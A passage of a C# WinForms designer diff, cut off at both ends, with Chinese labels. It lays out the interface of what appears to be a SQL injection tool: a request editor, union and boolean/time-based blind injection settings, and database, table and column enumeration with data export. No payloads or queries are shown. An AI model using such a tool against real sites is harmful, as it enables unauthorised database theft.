this.data_lvw_ver_verValue}); + this.data_lvw_ver.ContextMenuStrip = this.data_cms_vers; + this.data_lvw_ver.Dock = System.Windows.Forms.DockStyle.Fill; + this.data_lvw_ver.FullRowSelect = true; + this.data_lvw_ver.Location = new System.Drawing.Point(3, 3); + this.data_lvw_ver.Name = "data_lvw_ver"; + this.data_lvw_ver.Size = new System.Drawing.Size(782, 385); + this.data_lvw_ver.TabIndex = 0; + this.data_lvw_ver.UseCompatibleStateImageBehavior = false; + this.data_lvw_ver.View = System.Windows.Forms.View.Details; + // + // data_lvw_ver_verName + // + this.data_lvw_ver_verName.Text = "变量名"; + this.data_lvw_ver_verName.Width = 200; + // + // data_lvw_ver_verValue + // + this.data_lvw_ver_verValue.Text = "变量值"; + this.data_lvw_ver_verValue.Width = 474; + // + // data_cms_vers + // + this.data_cms_vers.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.data_cms_tsmi_getVariable, + this.data_cms_tsmi_stopGetVariable, + this.data_cms_tsmi_copyVerValue}); + this.data_cms_vers.Name = "data_cms_getVariable"; + this.data_cms_vers.Size = new System.Drawing.Size(149, 70); + // + // data_cms_tsmi_getVariable + // + this.data_cms_tsmi_getVariable.Name = "data_cms_tsmi_getVariable"; + this.data_cms_tsmi_getVariable.Size = new System.Drawing.Size(148, 22); + this.data_cms_tsmi_getVariable.Text = "获取环境变量"; + this.data_cms_tsmi_getVariable.Click += new System.EventHandler(this.data_cms_tsmi_getVariable_Click); + // + // data_cms_tsmi_stopGetVariable + // + this.data_cms_tsmi_stopGetVariable.Name = "data_cms_tsmi_stopGetVariable"; + this.data_cms_tsmi_stopGetVariable.Size = new System.Drawing.Size(148, 22); + this.data_cms_tsmi_stopGetVariable.Text = "立即停止"; + this.data_cms_tsmi_stopGetVariable.Click += new System.EventHandler(this.data_cms_tsmi_stopGetVariable_Click); + // + // data_cms_tsmi_copyVerValue + // + this.data_cms_tsmi_copyVerValue.Name = "data_cms_tsmi_copyVerValue"; + this.data_cms_tsmi_copyVerValue.Size = new System.Drawing.Size(148, 22); + this.data_cms_tsmi_copyVerValue.Text = "复制变量值"; + this.data_cms_tsmi_copyVerValue.Click += new System.EventHandler(this.data_cms_tsmi_copyVerValue_Click); + // + // tab_dbs + // + this.tab_dbs.Controls.Add(this.spc_dbs); + this.tab_dbs.Location = new System.Drawing.Point(4, 23); + this.tab_dbs.Name = "tab_dbs"; + this.tab_dbs.Padding = new System.Windows.Forms.Padding(3); + this.tab_dbs.Size = new System.Drawing.Size(788, 391); + this.tab_dbs.TabIndex = 1; + this.tab_dbs.Text = "数据库信息"; + this.tab_dbs.UseVisualStyleBackColor = true; + // + // spc_dbs + // + this.spc_dbs.Dock = System.Windows.Forms.DockStyle.Fill; + this.spc_dbs.Location = new System.Drawing.Point(3, 3); + this.spc_dbs.Name = "spc_dbs"; + // + // spc_dbs.Panel1 + // + this.spc_dbs.Panel1.Controls.Add(this.data_dbs_ts); + this.spc_dbs.Panel1.Controls.Add(this.groupBox2); + // + // spc_dbs.Panel2 + // + this.spc_dbs.Panel2.Controls.Add(this.toolStrip1); + this.spc_dbs.Panel2.Controls.Add(this.groupBox4); + this.spc_dbs.Size = new System.Drawing.Size(782, 385); + this.spc_dbs.SplitterDistance = 225; + this.spc_dbs.TabIndex = 5; + // + // data_dbs_ts + // + this.data_dbs_ts.Dock = System.Windows.Forms.DockStyle.Bottom; + this.data_dbs_ts.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.data_dbs_tsl_getDBS, + this.data_dbs_tsl_getTables, + this.data_dbs_tsl_getColumns}); + this.data_dbs_ts.Location = new System.Drawing.Point(0, 360); + this.data_dbs_ts.Name = "data_dbs_ts"; + this.data_dbs_ts.Padding = new System.Windows.Forms.Padding(5, 0, 0, 0); + this.data_dbs_ts.RenderMode = System.Windows.Forms.ToolStripRenderMode.System; + this.data_dbs_ts.Size = new System.Drawing.Size(225, 25); + this.data_dbs_ts.TabIndex = 4; + this.data_dbs_ts.Text = "toolStrip1"; + // + // data_dbs_tsl_getDBS + // + this.data_dbs_tsl_getDBS.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Text; + this.data_dbs_tsl_getDBS.Image = ((System.Drawing.Image)(resources.GetObject("data_dbs_tsl_getDBS.Image"))); + this.data_dbs_tsl_getDBS.ImageTransparentColor = System.Drawing.Color.Magenta; + this.data_dbs_tsl_getDBS.Name = "data_dbs_tsl_getDBS"; + this.data_dbs_tsl_getDBS.Size = new System.Drawing.Size(56, 22); + this.data_dbs_tsl_getDBS.Text = "获 取 库"; + this.data_dbs_tsl_getDBS.Click += new System.EventHandler(this.data_dbs_tsl_getDBS_Click); + // + // data_dbs_tsl_getTables + // + this.data_dbs_tsl_getTables.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Text; + this.data_dbs_tsl_getTables.Image = ((System.Drawing.Image)(resources.GetObject("data_dbs_tsl_getTables.Image"))); + this.data_dbs_tsl_getTables.ImageTransparentColor = System.Drawing.Color.Magenta; + this.data_dbs_tsl_getTables.Name = "data_dbs_tsl_getTables"; + this.data_dbs_tsl_getTables.Size = new System.Drawing.Size(56, 22); + this.data_dbs_tsl_getTables.Text = "获 取 表"; + this.data_dbs_tsl_getTables.Click += new System.EventHandler(this.data_dbs_tsl_getTables_Click); + // + // data_dbs_tsl_getColumns + // + this.data_dbs_tsl_getColumns.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Text; + this.data_dbs_tsl_getColumns.Image = ((System.Drawing.Image)(resources.GetObject("data_dbs_tsl_getColumns.Image"))); + this.data_dbs_tsl_getColumns.ImageTransparentColor = System.Drawing.Color.Magenta; + this.data_dbs_tsl_getColumns.Name = "data_dbs_tsl_getColumns"; + this.data_dbs_tsl_getColumns.Size = new System.Drawing.Size(56, 22); + this.data_dbs_tsl_getColumns.Text = "获 取 列"; + this.data_dbs_tsl_getColumns.Click += new System.EventHandler(this.data_dbs_tsl_getColumns_Click); + // + // groupBox2 + // + this.groupBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox2.Controls.Add(this.data_tvw_dbs); + this.groupBox2.Location = new System.Drawing.Point(5, 5); + this.groupBox2.Name = "groupBox2"; + this.groupBox2.Size = new System.Drawing.Size(220, 352); + this.groupBox2.TabIndex = 0; + this.groupBox2.TabStop = false; + this.groupBox2.Text = "数据库信息"; + // + // data_tvw_dbs + // + this.data_tvw_dbs.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.data_tvw_dbs.CheckBoxes = true; + this.data_tvw_dbs.ContextMenuStrip = this.data_cms_dbs; + this.data_tvw_dbs.Dock = System.Windows.Forms.DockStyle.Fill; + this.data_tvw_dbs.ImageIndex = 0; + this.data_tvw_dbs.ImageList = this.imglist_database; + this.data_tvw_dbs.LabelEdit = true; + this.data_tvw_dbs.Location = new System.Drawing.Point(3, 17); + this.data_tvw_dbs.Name = "data_tvw_dbs"; + this.data_tvw_dbs.SelectedImageIndex = 6; + this.data_tvw_dbs.Size = new System.Drawing.Size(214, 332); + this.data_tvw_dbs.TabIndex = 0; + this.data_tvw_dbs.AfterCheck += new System.Windows.Forms.TreeViewEventHandler(this.data_tvw_dbs_AfterCheck); + this.data_tvw_dbs.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.data_tvw_dbs_AfterSelect); + // + // data_cms_dbs + // + this.data_cms_dbs.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.data_dbs_tsmi_addDBS, + this.data_dbs_tsmi_addTableOrColumn, + this.data_dbs_tsmi_getTableNames, + this.data_dbs_tsmi_deleteNode, + this.data_dbs_tsmi_stopGetInfos, + this.data_dbs_tsmi_saveDTCStruct, + this.data_dbs_tsmi_loadDTCStruct, + this.data_dbs_tsmi_clearDTCStruct}); + this.data_cms_dbs.Name = "data_cms_getVariable"; + this.data_cms_dbs.Size = new System.Drawing.Size(161, 180); + // + // data_dbs_tsmi_addDBS + // + this.data_dbs_tsmi_addDBS.Name = "data_dbs_tsmi_addDBS"; + this.data_dbs_tsmi_addDBS.Size = new System.Drawing.Size(160, 22); + this.data_dbs_tsmi_addDBS.Text = "添加数据库"; + this.data_dbs_tsmi_addDBS.Click += new System.EventHandler(this.data_dbs_tsmi_addDBS_Click); + // + // data_dbs_tsmi_addTableOrColumn + // + this.data_dbs_tsmi_addTableOrColumn.Name = "data_dbs_tsmi_addTableOrColumn"; + this.data_dbs_tsmi_addTableOrColumn.Size = new System.Drawing.Size(160, 22); + this.data_dbs_tsmi_addTableOrColumn.Text = "添加表或列"; + this.data_dbs_tsmi_addTableOrColumn.Click += new System.EventHandler(this.data_dbs_tsmi_addTableOrColumn_Click); + // + // data_dbs_tsmi_getTableNames + // + this.data_dbs_tsmi_getTableNames.Name = "data_dbs_tsmi_getTableNames"; + this.data_dbs_tsmi_getTableNames.Size = new System.Drawing.Size(160, 22); + this.data_dbs_tsmi_getTableNames.Text = "修改节点"; + this.data_dbs_tsmi_getTableNames.Click += new System.EventHandler(this.data_dbs_tsmi_getTableNames_Click); + // + // data_dbs_tsmi_deleteNode + // + this.data_dbs_tsmi_deleteNode.Name = "data_dbs_tsmi_deleteNode"; + this.data_dbs_tsmi_deleteNode.Size = new System.Drawing.Size(160, 22); + this.data_dbs_tsmi_deleteNode.Text = "删除节点"; + this.data_dbs_tsmi_deleteNode.Click += new System.EventHandler(this.data_dbs_tsmi_deleteNode_Click); + // + // data_dbs_tsmi_stopGetInfos + // + this.data_dbs_tsmi_stopGetInfos.Name = "data_dbs_tsmi_stopGetInfos"; + this.data_dbs_tsmi_stopGetInfos.Size = new System.Drawing.Size(160, 22); + this.data_dbs_tsmi_stopGetInfos.Text = "立即停止"; + this.data_dbs_tsmi_stopGetInfos.Click += new System.EventHandler(this.data_dbs_tsmi_stopGetInfos_Click); + // + // data_dbs_tsmi_saveDTCStruct + // + this.data_dbs_tsmi_saveDTCStruct.Name = "data_dbs_tsmi_saveDTCStruct"; + this.data_dbs_tsmi_saveDTCStruct.Size = new System.Drawing.Size(160, 22); + this.data_dbs_tsmi_saveDTCStruct.Text = "保存库表列结构"; + this.data_dbs_tsmi_saveDTCStruct.Click += new System.EventHandler(this.data_dbs_tsmi_saveDTCStruct_Click); + // + // data_dbs_tsmi_loadDTCStruct + // + this.data_dbs_tsmi_loadDTCStruct.Name = "data_dbs_tsmi_loadDTCStruct"; + this.data_dbs_tsmi_loadDTCStruct.Size = new System.Drawing.Size(160, 22); + this.data_dbs_tsmi_loadDTCStruct.Text = "加载库表列结构"; + this.data_dbs_tsmi_loadDTCStruct.Click += new System.EventHandler(this.data_dbs_tsmi_loadDTCStruct_Click); + // + // data_dbs_tsmi_clearDTCStruct + // + this.data_dbs_tsmi_clearDTCStruct.Name = "data_dbs_tsmi_clearDTCStruct"; + this.data_dbs_tsmi_clearDTCStruct.Size = new System.Drawing.Size(160, 22); + this.data_dbs_tsmi_clearDTCStruct.Text = "清空所有结构"; + this.data_dbs_tsmi_clearDTCStruct.Click += new System.EventHandler(this.data_dbs_tsmi_clearDTCStruct_Click); + // + // imglist_database + // + this.imglist_database.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imglist_database.ImageStream"))); + this.imglist_database.TransparentColor = System.Drawing.Color.Transparent; + this.imglist_database.Images.SetKeyName(0, "db.png"); + this.imglist_database.Images.SetKeyName(1, "table2.png"); + this.imglist_database.Images.SetKeyName(2, "column2.png"); + this.imglist_database.Images.SetKeyName(3, "column.png"); + this.imglist_database.Images.SetKeyName(4, "column1.png"); + this.imglist_database.Images.SetKeyName(5, "table1.png"); + this.imglist_database.Images.SetKeyName(6, "Image_1.png"); + // + // toolStrip1 + // + this.toolStrip1.Dock = System.Windows.Forms.DockStyle.Bottom; + this.toolStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.toolStripLabel3, + this.data_dbs_txt_start, + this.toolStripLabel1, + this.data_dbs_txt_count, + this.data_dbs_tsl_getDatas, + this.data_dbs_tsl_exportDatas, + this.toolStripLabel2, + this.data_dbs_cob_db_encoding}); + this.toolStrip1.Location = new System.Drawing.Point(0, 360); + this.toolStrip1.Name = "toolStrip1"; + this.toolStrip1.RenderMode = System.Windows.Forms.ToolStripRenderMode.System; + this.toolStrip1.Size = new System.Drawing.Size(553, 25); + this.toolStrip1.TabIndex = 5; + this.toolStrip1.Text = "toolStrip1"; + this.toolStrip1.TextChanged += new System.EventHandler(this.toolStrip1_TextChanged); + // + // toolStripLabel3 + // + this.toolStripLabel3.Name = "toolStripLabel3"; + this.toolStripLabel3.Size = new System.Drawing.Size(48, 22); + this.toolStripLabel3.Text = "开 始:"; + // + // data_dbs_txt_start + // + this.data_dbs_txt_start.Margin = new System.Windows.Forms.Padding(0); + this.data_dbs_txt_start.MaxLength = 9; + this.data_dbs_txt_start.Name = "data_dbs_txt_start"; + this.data_dbs_txt_start.Size = new System.Drawing.Size(50, 25); + this.data_dbs_txt_start.Text = "0"; + // + // toolStripLabel1 + // + this.toolStripLabel1.Name = "toolStripLabel1"; + this.toolStripLabel1.Size = new System.Drawing.Size(48, 22); + this.toolStripLabel1.Text = "条 数:"; + // + // data_dbs_txt_count + // + this.data_dbs_txt_count.MaxLength = 9; + this.data_dbs_txt_count.Name = "data_dbs_txt_count"; + this.data_dbs_txt_count.Size = new System.Drawing.Size(50, 25); + this.data_dbs_txt_count.Text = "1"; + // + // data_dbs_tsl_getDatas + // + this.data_dbs_tsl_getDatas.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Text; + this.data_dbs_tsl_getDatas.Image = ((System.Drawing.Image)(resources.GetObject("data_dbs_tsl_getDatas.Image"))); + this.data_dbs_tsl_getDatas.ImageTransparentColor = System.Drawing.Color.Magenta; + this.data_dbs_tsl_getDatas.Name = "data_dbs_tsl_getDatas"; + this.data_dbs_tsl_getDatas.Size = new System.Drawing.Size(60, 22); + this.data_dbs_tsl_getDatas.Text = "获取数据"; + this.data_dbs_tsl_getDatas.Click += new System.EventHandler(this.data_dbs_tsl_getDatas_Click); + // + // data_dbs_tsl_exportDatas + // + this.data_dbs_tsl_exportDatas.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Text; + this.data_dbs_tsl_exportDatas.Image = ((System.Drawing.Image)(resources.GetObject("data_dbs_tsl_exportDatas.Image"))); + this.data_dbs_tsl_exportDatas.ImageTransparentColor = System.Drawing.Color.Magenta; + this.data_dbs_tsl_exportDatas.Name = "data_dbs_tsl_exportDatas"; + this.data_dbs_tsl_exportDatas.Size = new System.Drawing.Size(60, 22); + this.data_dbs_tsl_exportDatas.Text = "导出数据"; + this.data_dbs_tsl_exportDatas.Click += new System.EventHandler(this.data_dbs_tsl_exportDatas_Click); + // + // toolStripLabel2 + // + this.toolStripLabel2.Name = "toolStripLabel2"; + this.toolStripLabel2.Size = new System.Drawing.Size(44, 22); + this.toolStripLabel2.Text = "编码:"; + // + // data_dbs_cob_db_encoding + // + this.data_dbs_cob_db_encoding.Items.AddRange(new object[] { + "UTF-8", + "GB2312", + "GBK", + "ISO-8859-1", + "EUC-KR"}); + this.data_dbs_cob_db_encoding.Name = "data_dbs_cob_db_encoding"; + this.data_dbs_cob_db_encoding.Size = new System.Drawing.Size(75, 25); + this.data_dbs_cob_db_encoding.TextChanged += new System.EventHandler(this.data_dbs_cob_db_encoding_TextChanged); + // + // groupBox4 + // + this.groupBox4.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox4.Controls.Add(this.data_dbs_lvw_data); + this.groupBox4.Location = new System.Drawing.Point(3, 5); + this.groupBox4.Name = "groupBox4"; + this.groupBox4.Size = new System.Drawing.Size(547, 352); + this.groupBox4.TabIndex = 1; + this.groupBox4.TabStop = false; + this.groupBox4.Text = "获取数据"; + // + // data_dbs_lvw_data + // + this.data_dbs_lvw_data.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.data_dbs_lvw_data.ContextMenuStrip = this.cms_data_dbs_lvw_data; + this.data_dbs_lvw_data.Dock = System.Windows.Forms.DockStyle.Fill; + this.data_dbs_lvw_data.FullRowSelect = true; + this.data_dbs_lvw_data.GridLines = true; + this.data_dbs_lvw_data.Location = new System.Drawing.Point(3, 17); + this.data_dbs_lvw_data.Name = "data_dbs_lvw_data"; + this.data_dbs_lvw_data.Size = new System.Drawing.Size(541, 332); + this.data_dbs_lvw_data.TabIndex = 1; + this.data_dbs_lvw_data.UseCompatibleStateImageBehavior = false; + this.data_dbs_lvw_data.View = System.Windows.Forms.View.Details; + this.data_dbs_lvw_data.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.data_dbs_lvw_data_ColumnClick); + // + // cms_data_dbs_lvw_data + // + this.cms_data_dbs_lvw_data.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.data_dbs_lvw_tsmi_copyLineData, + this.data_dbs_lvw_tsmi_stop, + this.tsmi_clearColumns}); + this.cms_data_dbs_lvw_data.Name = "data_cms_getVariable"; + this.cms_data_dbs_lvw_data.Size = new System.Drawing.Size(149, 70); + // + // data_dbs_lvw_tsmi_copyLineData + // + this.data_dbs_lvw_tsmi_copyLineData.Name = "data_dbs_lvw_tsmi_copyLineData"; + this.data_dbs_lvw_tsmi_copyLineData.Size = new System.Drawing.Size(148, 22); + this.data_dbs_lvw_tsmi_copyLineData.Text = "复制此行数据"; + this.data_dbs_lvw_tsmi_copyLineData.Click += new System.EventHandler(this.data_dbs_lvw_tsmi_copyLineData_Click); + // + // data_dbs_lvw_tsmi_stop + // + this.data_dbs_lvw_tsmi_stop.Name = "data_dbs_lvw_tsmi_stop"; + this.data_dbs_lvw_tsmi_stop.Size = new System.Drawing.Size(148, 22); + this.data_dbs_lvw_tsmi_stop.Text = "立即停止"; + this.data_dbs_lvw_tsmi_stop.Click += new System.EventHandler(this.data_dbs_lvw_tsmi_stop_Click); + // + // tsmi_clearColumns + // + this.tsmi_clearColumns.Name = "tsmi_clearColumns"; + this.tsmi_clearColumns.Size = new System.Drawing.Size(148, 22); + this.tsmi_clearColumns.Text = "清 空"; + this.tsmi_clearColumns.Click += new System.EventHandler(this.tsmi_clearColumns_Click); + // + // myicon_list + // + this.myicon_list.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("myicon_list.ImageStream"))); + this.myicon_list.TransparentColor = System.Drawing.Color.Transparent; + this.myicon_list.Images.SetKeyName(0, "Image_1.png"); + this.myicon_list.Images.SetKeyName(1, "cmd.png"); + this.myicon_list.Images.SetKeyName(2, "codeChange.png"); + this.myicon_list.Images.SetKeyName(3, "config.png"); + this.myicon_list.Images.SetKeyName(4, "convert.png"); + this.myicon_list.Images.SetKeyName(5, "db.png"); + this.myicon_list.Images.SetKeyName(6, "editFile.png"); + this.myicon_list.Images.SetKeyName(7, "log.png"); + this.myicon_list.Images.SetKeyName(8, "tools.png"); + this.myicon_list.Images.SetKeyName(9, "scan.png"); + // + // tab_injectCenter + // + this.tab_injectCenter.Controls.Add(this.groupBox1); + this.tab_injectCenter.ImageKey = "config.png"; + this.tab_injectCenter.Location = new System.Drawing.Point(4, 23); + this.tab_injectCenter.Name = "tab_injectCenter"; + this.tab_injectCenter.Padding = new System.Windows.Forms.Padding(3); + this.tab_injectCenter.Size = new System.Drawing.Size(802, 424); + this.tab_injectCenter.TabIndex = 0; + this.tab_injectCenter.Text = "注入中心"; + this.tab_injectCenter.UseVisualStyleBackColor = true; + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.txt_inject_request); + this.groupBox1.Controls.Add(this.groupBox3); + this.groupBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.groupBox1.Location = new System.Drawing.Point(3, 3); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(796, 418); + this.groupBox1.TabIndex = 1; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "数据包"; + // + // txt_inject_request + // + this.txt_inject_request.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txt_inject_request.ContextMenuStrip = this.cms_dataPacks; + this.txt_inject_request.Location = new System.Drawing.Point(15, 20); + this.txt_inject_request.MaxLength = 1024000; + this.txt_inject_request.Multiline = true; + this.txt_inject_request.Name = "txt_inject_request"; + this.txt_inject_request.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txt_inject_request.Size = new System.Drawing.Size(548, 392); + this.txt_inject_request.TabIndex = 13; + this.txt_inject_request.Text = resources.GetString("txt_inject_request.Text"); + this.txt_inject_request.TextChanged += new System.EventHandler(this.txt_inject_request_TextChanged); + this.txt_inject_request.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txt_inject_request_KeyDown); + // + // cms_dataPacks + // + this.cms_dataPacks.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.tsmi_createGetTemplate, + this.tsmi_createPOSTTemplate, + this.tsmi_changeRequestMethod, + this.tsmi_createPackByURL}); + this.cms_dataPacks.Name = "cms_dataPacks"; + this.cms_dataPacks.Size = new System.Drawing.Size(184, 92); + this.cms_dataPacks.Text = "复制数据"; + // + // tsmi_createGetTemplate + // + this.tsmi_createGetTemplate.Name = "tsmi_createGetTemplate"; + this.tsmi_createGetTemplate.Size = new System.Drawing.Size(183, 22); + this.tsmi_createGetTemplate.Text = "生成GET模板"; + this.tsmi_createGetTemplate.Click += new System.EventHandler(this.tsmi_createGetTemplate_Click); + // + // tsmi_createPOSTTemplate + // + this.tsmi_createPOSTTemplate.Name = "tsmi_createPOSTTemplate"; + this.tsmi_createPOSTTemplate.Size = new System.Drawing.Size(183, 22); + this.tsmi_createPOSTTemplate.Text = "生成POST模板"; + this.tsmi_createPOSTTemplate.Click += new System.EventHandler(this.tsmi_createPOSTTemplate_Click); + // + // tsmi_changeRequestMethod + // + this.tsmi_changeRequestMethod.Name = "tsmi_changeRequestMethod"; + this.tsmi_changeRequestMethod.Size = new System.Drawing.Size(183, 22); + this.tsmi_changeRequestMethod.Text = "转换提交方式"; + this.tsmi_changeRequestMethod.Click += new System.EventHandler(this.tsmi_changeRequestMethod_Click); + // + // tsmi_createPackByURL + // + this.tsmi_createPackByURL.Name = "tsmi_createPackByURL"; + this.tsmi_createPackByURL.Size = new System.Drawing.Size(183, 22); + this.tsmi_createPackByURL.Text = "根据URL生成数据包"; + this.tsmi_createPackByURL.Click += new System.EventHandler(this.tsmi_createPackByURL_Click); + // + // groupBox3 + // + this.groupBox3.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox3.Controls.Add(this.groupBox16); + this.groupBox3.Controls.Add(this.groupBox15); + this.groupBox3.Controls.Add(this.chk_openURLEncoding); + this.groupBox3.Controls.Add(this.btn_inject_setEncodingRange); + this.groupBox3.Controls.Add(this.label13); + this.groupBox3.Controls.Add(this.label12); + this.groupBox3.Controls.Add(this.btn_inject_clearRequest); + this.groupBox3.Controls.Add(this.btn_inject_sendData); + this.groupBox3.Controls.Add(this.chk_inject_foward_302); + this.groupBox3.Controls.Add(this.btn_inject_setInject); + this.groupBox3.Location = new System.Drawing.Point(569, 13); + this.groupBox3.Name = "groupBox3"; + this.groupBox3.Size = new System.Drawing.Size(225, 399); + this.groupBox3.TabIndex = 12; + this.groupBox3.TabStop = false; + this.groupBox3.Text = "注入设置"; + // + // groupBox16 + // + this.groupBox16.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox16.Controls.Add(this.label4); + this.groupBox16.Controls.Add(this.txt_inject_showColumn); + this.groupBox16.Controls.Add(this.label8); + this.groupBox16.Controls.Add(this.txt_inject_unionColumnsCount); + this.groupBox16.Location = new System.Drawing.Point(0, 127); + this.groupBox16.Name = "groupBox16"; + this.groupBox16.Size = new System.Drawing.Size(225, 92); + this.groupBox16.TabIndex = 14; + this.groupBox16.TabStop = false; + this.groupBox16.Text = "Union注入取数据配置"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(15, 26); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(65, 12); + this.label4.TabIndex = 1; + this.label4.Text = "数据列数:"; + // + // txt_inject_showColumn + // + this.txt_inject_showColumn.Location = new System.Drawing.Point(86, 59); + this.txt_inject_showColumn.MaxLength = 3; + this.txt_inject_showColumn.Name = "txt_inject_showColumn"; + this.txt_inject_showColumn.Size = new System.Drawing.Size(120, 21); + this.txt_inject_showColumn.TabIndex = 9; + this.txt_inject_showColumn.Text = "2"; + this.txt_inject_showColumn.TextChanged += new System.EventHandler(this.txt_inject_showColumn_TextChanged); + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(15, 62); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(65, 12); + this.label8.TabIndex = 8; + this.label8.Text = "显 示 列:"; + // + // txt_inject_unionColumnsCount + // + this.txt_inject_unionColumnsCount.Location = new System.Drawing.Point(86, 23); + this.txt_inject_unionColumnsCount.MaxLength = 3; + this.txt_inject_unionColumnsCount.Name = "txt_inject_unionColumnsCount"; + this.txt_inject_unionColumnsCount.Size = new System.Drawing.Size(120, 21); + this.txt_inject_unionColumnsCount.TabIndex = 7; + this.txt_inject_unionColumnsCount.Text = "3"; + this.txt_inject_unionColumnsCount.TextChanged += new System.EventHandler(this.txt_inject_unionColumnsCount_TextChanged); + // + // groupBox15 + // + this.groupBox15.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox15.Controls.Add(this.cbox_inject_type); + this.groupBox15.Controls.Add(this.label27); + this.groupBox15.Controls.Add(this.inject_btn_autoFindKey); + this.groupBox15.Controls.Add(this.injectConfig_btn_checkKey); + this.groupBox15.Controls.Add(this.txt_inject_key); + this.groupBox15.Controls.Add(this.chk_inject_reverseKey); + this.groupBox15.Location = new System.Drawing.Point(0, 233); + this.groupBox15.Name = "groupBox15"; + this.groupBox15.Size = new System.Drawing.Size(227, 166); + this.groupBox15.TabIndex = 14; + this.groupBox15.TabStop = false; + this.groupBox15.Text = "Bool盲注取数据配置"; + // + // cbox_inject_type + // + this.cbox_inject_type.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cbox_inject_type.FormattingEnabled = true; + this.cbox_inject_type.Items.AddRange(new object[] { + "关键字判断-Bool", + "状态码判断-Bool", + "响应长度判断-Bool", + "时间判断-延时"}); + this.cbox_inject_type.Location = new System.Drawing.Point(83, 25); + this.cbox_inject_type.Name = "cbox_inject_type"; + this.cbox_inject_type.Size = new System.Drawing.Size(123, 20); + this.cbox_inject_type.TabIndex = 27; + this.cbox_inject_type.SelectedIndexChanged += new System.EventHandler(this.cbox_inject_type_SelectedIndexChanged); + // + // label27 + // + this.label27.AutoSize = true; + this.label27.Location = new System.Drawing.Point(15, 28); + this.label27.Name = "label27"; + this.label27.Size = new System.Drawing.Size(65, 12); + this.label27.TabIndex = 26; + this.label27.Text = "判断方式:"; + // + // inject_btn_autoFindKey + // + this.inject_btn_autoFindKey.Location = new System.Drawing.Point(17, 92); + this.inject_btn_autoFindKey.Name = "inject_btn_autoFindKey"; + this.inject_btn_autoFindKey.Size = new System.Drawing.Size(75, 23); + this.inject_btn_autoFindKey.TabIndex = 24; + this.inject_btn_autoFindKey.Text = "查找关键字"; + this.inject_btn_autoFindKey.UseVisualStyleBackColor = true; + this.inject_btn_autoFindKey.Click += new System.EventHandler(this.inject_btn_autoFindKey_Click); + // + // injectConfig_btn_checkKey + // + this.injectConfig_btn_checkKey.Location = new System.Drawing.Point(133, 92); + this.injectConfig_btn_checkKey.Name = "injectConfig_btn_checkKey"; + this.injectConfig_btn_checkKey.Size = new System.Drawing.Size(75, 23); + this.injectConfig_btn_checkKey.TabIndex = 23; + this.injectConfig_btn_checkKey.Text = "验证关键字是否设置正确"; + this.injectConfig_btn_checkKey.UseVisualStyleBackColor = true; + this.injectConfig_btn_checkKey.Click += new System.EventHandler(this.injectConfig_btn_checkKey_Click); + // + // txt_inject_key + // + this.txt_inject_key.Location = new System.Drawing.Point(115, 59); + this.txt_inject_key.MaxLength = 20; + this.txt_inject_key.Name = "txt_inject_key"; + this.txt_inject_key.Size = new System.Drawing.Size(93, 21); + this.txt_inject_key.TabIndex = 7; + this.txt_inject_key.Text = "个"; + this.txt_inject_key.TextChanged += new System.EventHandler(this.txt_inject_key_TextChanged); + // + // chk_inject_reverseKey + // + this.chk_inject_reverseKey.AutoSize = true; + this.chk_inject_reverseKey.Location = new System.Drawing.Point(17, 61); + this.chk_inject_reverseKey.Name = "chk_inject_reverseKey"; + this.chk_inject_reverseKey.Size = new System.Drawing.Size(84, 16); + this.chk_inject_reverseKey.TabIndex = 22; + this.chk_inject_reverseKey.Text = "反取判断值"; + this.chk_inject_reverseKey.UseVisualStyleBackColor = true; + this.chk_inject_reverseKey.CheckedChanged += new 